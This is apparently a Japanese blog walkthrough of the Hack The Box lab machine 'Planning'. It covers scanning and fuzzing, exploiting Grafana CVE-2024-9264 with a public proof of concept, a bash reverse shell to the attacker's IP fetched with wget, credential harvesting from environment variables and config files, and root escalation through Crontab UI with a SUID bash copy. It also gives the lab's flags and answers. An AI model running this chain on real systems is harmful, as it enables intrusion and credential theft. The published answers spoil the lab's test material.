Hack The BoxのWriteup(Planning)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Planning」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) Webアクセスできるサブドメイン調査
  (5) 名前解決のためのhostsファイル更新(2回目)
  (6) Grafanaの調査
  (7) Grafanaの脆弱性(CVE-2024-9264)を悪用したリバースシェル
  (8) enzoユーザーでSSHログイン
  (9) サーバの設定及びファイル調査
  (10) データベースの調査
  (11) サーバのプロセス及び使用通信ポート
  (12) ポートフォワードを用いた8000番ポートへのアクセス
  (13) CronJobを用いたコマンド実行(idコマンド)
  (14) CronJobを用いたコマンド実行(/bin/bashを用いた特権昇格)


※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 22:44 JST
Nmap scan report for 10.10.11.68
Host is up (0.31s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT       ADDRESS
1   449.77 ms 10.10.16.1
2   206.04 ms 10.10.11.68

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.01 seconds


名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.68/」にアクセスすると、「http://planning.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.68 planning.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.68 planning.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://planning.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認すると、「http://planning.htb/about.php」や「http://planning.htb/detail.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ feroxbuster -u http://planning.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301      GET        7l       12w      178c http://planning.htb/js => http://planning.htb/js/
301      GET        7l       12w      178c http://planning.htb/img => http://planning.htb/img/
301      GET        7l       12w      178c http://planning.htb/css => http://planning.htb/css/
301      GET        7l       12w      178c http://planning.htb/lib => http://planning.htb/lib/
200      GET        1l       38w     2303c http://planning.htb/lib/easing/easing.min.js
200      GET        6l       64w     2936c http://planning.htb/lib/owlcarousel/assets/owl.carousel.min.css
200      GET        8l       58w     5269c http://planning.htb/img/testimonial-1.jpg
200      GET      230l      874w    12727c http://planning.htb/about.php
200      GET        7l      158w     9028c http://planning.htb/lib/waypoints/waypoints.min.js
200      GET       21l      212w    20494c http://planning.htb/img/team-3.jpg
200      GET      220l      880w    13006c http://planning.htb/detail.php
200      GET       11l       56w     2406c http://planning.htb/lib/counterup/counterup.min.js
200      GET      201l      663w    10632c http://planning.htb/contact.php
200      GET      194l      674w    10229c http://planning.htb/course.php
200      GET        5l       89w     5527c http://planning.htb/img/testimonial-2.jpg
200      GET      137l      234w     3338c http://planning.htb/js/main.js
200      GET       60l      404w    29126c http://planning.htb/img/team-2.jpg
200      GET      128l      607w    48746c http://planning.htb/img/courses-2.jpg
200      GET      136l      656w    53333c http://planning.htb/img/courses-3.jpg
200      GET      420l     1623w    23914c http://planning.htb/index.php
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://planning.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Planning_80.txt
ーーー(省略)ーーー
/css                  (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/img                  (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/js                   (Status: 301) [Size: 178] [--> http://planning.htb/js/]
/lib                  (Status: 301) [Size: 178] [--> http://planning.htb/lib/]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認すると、「http://planning.htb/about.php」や「http://planning.htb/contact.php」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ sudo dirsearch -u http://planning.htb/
ーーー(省略)ーーー
[23:07:39] 301 -  178B  - /js  ->  http://planning.htb/js/
[23:07:57] 200 -   12KB - /about.php
[23:08:27] 200 -   10KB - /contact.php
[23:08:28] 301 -  178B  - /css  ->  http://planning.htb/css/
[23:08:41] 301 -  178B  - /img  ->  http://planning.htb/img/
[23:08:44] 403 -  564B  - /js/
[23:08:46] 301 -  178B  - /lib  ->  http://planning.htb/lib/
[23:08:46] 403 -  564B  - /lib/
ーーー(省略)ーーー




(4) ffufを用いてアクセスできるURLを確認すると、「http://planning.htb/」のアクセス時のHTTPステータスコードが200番(成功)になっていることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://planning.htb/FUZZ" -ic
ーーー(省略)ーーー
img                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 403ms]
                        [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 396ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
lib                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 228ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 201ms]
                        [Status: 200, Size: 23914, Words: 8236, Lines: 421, Duration: 207ms
ーーー(省略)ーーー




Webアクセスできるサブドメイン調査


(1) ffufを用いてアクセスできるplanning.htbのサブドメインを調査すると、grafana.planning.htbがあることが分かる。

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.planning.htb" -u http://planning.htb/ -fs 178
ーーー(省略)ーーー
grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 250ms]
:: Progress: [100000/100000] :: Job [1/1] :: 159 req/sec :: Duration: [0:10:47] :: Errors: 0 ::
ーーー(省略)ーーー




名前解決のためのhostsファイル更新(2回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.68 grafana.planning.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.68 grafana.planning.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://grafana.planning.htb/」にアクセスすると、Grafanaのログインページが表示される。


Grafanaの調査


(1) Grafanaのログインページに「ユーザー名:admin」と「パスワード:0D5oT70Fq13EvB5r」を入力して、「Log in」をクリックする。


(2) 右上のHelpのアイコンをクリックすると、Grafanaのバージョンが11.0.0であることが分かる。


(3) 「Grafana 11.0.0 exploit」でGoogle検索すると、CVE-2024-9264のコマンドインジェクションの脆弱性があることが分かる。また、「https://github.com/nollium/CVE-2024-9264」に攻撃コードが公開されている。

Grafanaの脆弱性(CVE-2024-9264)を悪用したリバースシェル


(1) CVE-2024-9264の攻撃コードを実行するための準備をする。

$ git clone https://github.com/nollium/CVE-2024-9264


$ cd CVE-2024-9264


$ sudo pip3 install -r requirements.txt --break-system-packages


(2) CVE-2024-9264の攻撃コードを用いて/etc/passwdファイルの内容を確認する。

$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin


(3) 攻撃対象のマシンからリバースシェルのコマンドを実行するためのスクリプト(reverse.sh)を作成する。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.8」でした。


$ vi reverse.sh

【reverse.shの内容】
#!/bin/bash

/bin/bash -c ''bash -i >& /dev/tcp/10.10.16.8/4444 0>&1'


(4) 攻撃対象のマシンからスクリプト(reverse.sh)をダウンロードできるように7000番ポートでWebサービスを起動する。

$ python3 -m http.server 7000


(5) 攻撃対象のマシンからリバースシェルを受け付けるために4444番ポートで待ち受ける。

$ nc -nlvp 4444
listening on [any] 4444 ...


(6) CVE-2024-9264の攻撃コードを用いて攻撃対象のマシンからスクリプト(reverse.sh)をダウンロードするために、「wget 10.10.16.8:7000/reverse.sh」コマンドを実行する。

$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "wget 10.10.16.8:7000/reverse.sh" http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: wget 10.10.16.8:7000/reverse.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('wget 10.10.16.8:7000/reverse.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
--2025-05-13 13:36:19--  http://10.10.16.8:7000/reverse.sh
Connecting to 10.10.16.8:7000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: 'reverse.sh'

     0K                                                       100% 2.15M=0s

2025-05-13 13:36:20 (2.15 MB/s) - 'reverse.sh' saved [45/45]


(7) CVE-2024-9264の攻撃コードを用いてスクリプト(reverse.sh)に実行権限を付与するために、「chmod +x reverse.sh」コマンドを実行する。。

$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "chmod +x reverse.sh" http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: chmod +x reverse.sh
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('chmod +x reverse.sh >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):


(8) CVE-2024-9264の攻撃コードを用いてスクリプト(reverse.sh)を実行する。

$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "./reverse.sh" http://grafana.planning.htb/


(9) 「nc -nlvp 4444」コマンドを実行したリバースシェルが返ってきて、ホスト名が「7ce659d667d7」のrootユーザーでログインしていることが分かる。

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.68] 53920
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~#


(10) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


(11) rootユーザーのフラグファイルを確認しようとするが、フラグファイルがないことが分かる。

# cat /root/root.txt
cat: /root/root.txt: No such file or directory


(12) 完全なシェルを奪取する。

# which script
/usr/bin/script

$ /usr/bin/script -q /dev/null bash

[Ctrl]+[Z]でバックグラウンドに移す

$ stty raw -echo;fg

$ bash

$ export TERM=xterm


enzoユーザーでSSHログイン


(1) 「ホスト名:7ce659d667d7」のマシンを調べると、環境変数(env)にenzoユーザーのパスワードが「RioTecRANDEntANT!」であることが記載されている。

# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env


(2) 取得したenzoユーザーのパスワードを用いて攻撃対象のマシン(Planning)にSSHログインすると、ログインに成功する。

※Kali Linux上で以下のコマンドを実行する。

$ ssh enzo@planning.htb
  →パスワード(RioTecRANDEntANT!)を入力する。


(3) 現在ログインしているユーザー情報を確認すると、enzoユーザーであることが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)


$ whoami
enzo


(4) 一般ユーザー用のフラグファイルの内容を確認する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ cat /home/enzo/user.txt
c2fa8651e3cdb30473cf8ac99b7629f7


サーバの設定及びファイル調査


(1) sudoコマンドの設定を確認しても何も設定されていないことが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ sudo -l
[sudo] password for enzo:   ←パスワード(RioTecRANDEntANT!)を入力する。
Sorry, user enzo may not run sudo on planning.


(2) SUIDファイルを検索するが、特に気になるファイルはない。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/gpasswd


(3) /etc/passwdと/etc/shadowの内容を確認するが、特に気になる設定はない。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
enzo:x:1000:1000:Enzo Yamada:/home/enzo:/bin/bash
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
lxd:x:996:101::/var/snap/lxd/common/lxd:/bin/false
mysql:x:110:113:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:995:988::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false


(4) cronの設定内容を確認するが、特に気になる設定はない。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ crontab -l
no crontab for enzo


(5) /opt/crontabs/crontab.dbファイルの内容を確認すると、rootユーザーが所有者で、バックアップのファイル圧縮時のパスワードが「P4ssw0rdS0pRi0T3c」ということが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ file /opt/crontabs/crontab.db
/opt/crontabs/crontab.db: New Line Delimited JSON text data


$ ll /opt/crontabs/crontab.db
-rw-r--r-- 1 root root 737 May 14 12:51 /opt/crontabs/crontab.db


$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}


データベースの調査


(1) データベースの認証情報を確認するために、データベースに接続しているプログラムを検索する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ cd /var/www/


$ find ./ -type f | xargs grep -n 'mysql'
./web/enroll.php:7:$conn = new mysqli($servername, $username, $password, $dbname);
./web/index.php:7:$conn = new mysqli($servername, $username, $password, $dbname);


(2) index.phpに記載されたデータベースの認証情報を確認する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ cat ./web/index.php
<?php
$servername = "localhost";
$username = "root";
$password = "EXTRapHY";
$dbname = "edukate";
ーーー(省略)ーーー


(3) 取得したデータベースの認証情報を用いてデータベースに接続する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ mysql -u root -p edukate
Enter password:   ←パスワード(EXTRapHY)を入力する。


(4) テーブルの内容を確認するが、特に気になる情報がない。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ mysql> select * from enroll;
   →複数のデータが出力される。


サーバのプロセス及び使用通信ポート


(1) psコマンドを用いてプロセス一覧を確認するが、特に気になる内容がない。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
enzo        2801  0.0  0.2   8780  5504 pts/0    Ss   14:43   0:00 -bash
enzo        9021  0.0  0.2   8648  5504 pts/1    Ss+  21:53   0:00 -bash
enzo        9369  0.0  0.2  10884  4352 pts/0    R+   22:14   0:00 ps aux


(2) netstatコマンドで起動しているサービスの通信ポートを確認すると、8000番ポートが起動していることが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:35571         0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:30003000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN
tcp        0      0 172.17.0.1:37402        172.17.0.2:3000         FIN_WAIT2
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0   1348 10.10.11.68:22          10.10.16.8:51488        ESTABLISHED
udp        0      0 127.0.0.54:53           0.0.0.0:*
udp        0      0 127.0.0.53:53           0.0.0.0:*
ーーー(省略)ーーー


ポートフォワードを用いた8000番ポートへのアクセス


(1) Kali Linuxの8001番ポートに接続すると、攻撃対象のマシン(Planning)の8000番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh enzo@planning.htb -L 8001:127.0.0.1:8000
  →パスワード(RioTecRANDEntANT!)を入力する。


(2) ブラウザを用いて「http://127.0.0.1:8001/」にアクセスすると、ベーシック認証のポップアップが表示される。
今まで取得したパスワードでアクセスできるか試したところ、「ユーザー名:root」「パスワード:P4ssw0rdS0pRi0T3c」でログインに成功した。


(3) CronJobのWebページが表示される。
※CronJobとは、指定されたスケジュールに基づいて定期的にタスクを実行するための仕組み。


CronJobを用いたコマンド実行(idコマンド)


(1) 「New」をクリックする。


(2) Commandの値に「id > /tmp/id_resuult.txt」を入力して、「Save」をクリックする。


(3) 追加したJobの横にある「Run Now」をクリックする。


(4) ポップアップが表示されるため、「OK」をクリックする。


(5) idコマンドの実行結果を出力したファイルを確認すると、idコマンドはrootユーザー権限で実行されたことをが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ cat /tmp/id_resuult.txt
uid=0(root) gid=0(root) groups=0(root)


$ ls -l | grep id_resuult.txt
-rw-r--r-- 1 root root   39 May 14 13:09 id_resuult.txt


CronJobを用いたコマンド実行(/bin/bashを用いた特権昇格)


(1) 「New」をクリックする。


(2) Commandの値に「cp /bin/bash /tmp/bash && chmod u+s /tmp/bash」を入力して、「Save」をクリックする。


(3) 追加したJobの横にある「Run Now」をクリックする。


(4) ポップアップが表示されるため、「OK」をクリックする。


(5) コピーしたbashを用いて特権昇格する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

$ ls -l /tmp/bash
-rwsr-xr-x 1 root root 1446024 May 14 13:15 /tmp/bash


$ /tmp/bash -p
bash-5.2#


(6) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)


# whoami
root


(7) 特権ユーザー用のフラグファイルを確認する。

※攻撃対象のマシン(Planning)上で以下のコマンドを実行する。

# cat /root/root.txt
d1637f9a9f7a6954fa1db3bfad70559b


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Planning?
問題(日本語訳):Planning でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What subdomain of planning.htb hosts a data visualization monitoring platform?
問題(日本語訳):planning.htb のどのサブドメインがデータ視覚化監視プラットフォームをホストしていますか?

答え:grafana.planning.htb


・Task 3

問題(英語訳):What version of Grafana is running on Planning?
問題(日本語訳):Planning で実行されている Grafana のバージョンは何ですか?

答え:11.0.0


・Task 4

問題(英語訳):What password can be found in the docker container environment variables?
問題(日本語訳):Docker コンテナの環境変数にはどのようなパスワードが記載されていますか?

答え:RioTecRANDEntANT!


・Submit User Flag

問題(英語訳):Submit the flag located in enzo's home directory.
問題(日本語訳):enzo のホーム ディレクトリにあるフラグを送信します。

答え:c2fa8651e3cdb30473cf8ac99b7629f7
※「/home/enzo/user.txt」の内容


・Task 6

問題(英語訳):Which port on Planning is running another web application locally?
問題(日本語訳):Planning のどのポートで別の Web アプリケーションがローカルで実行されていますか?

答え:8000


・Task 7

問題(英語訳):What is the full path of the database file for the web application?
問題(日本語訳):Web アプリケーションのデータベース ファイルの完全パスは何ですか?

答え:/opt/crontabs/crontab.db


・Task 8

問題(英語訳):What is the name of the web application running on port 8000?
問題(日本語訳):ポート 8000 で実行されている Web アプリケーションの名前は何ですか?

答え:Crontab UI


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:d1637f9a9f7a6954fa1db3bfad70559b
※「/root/root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。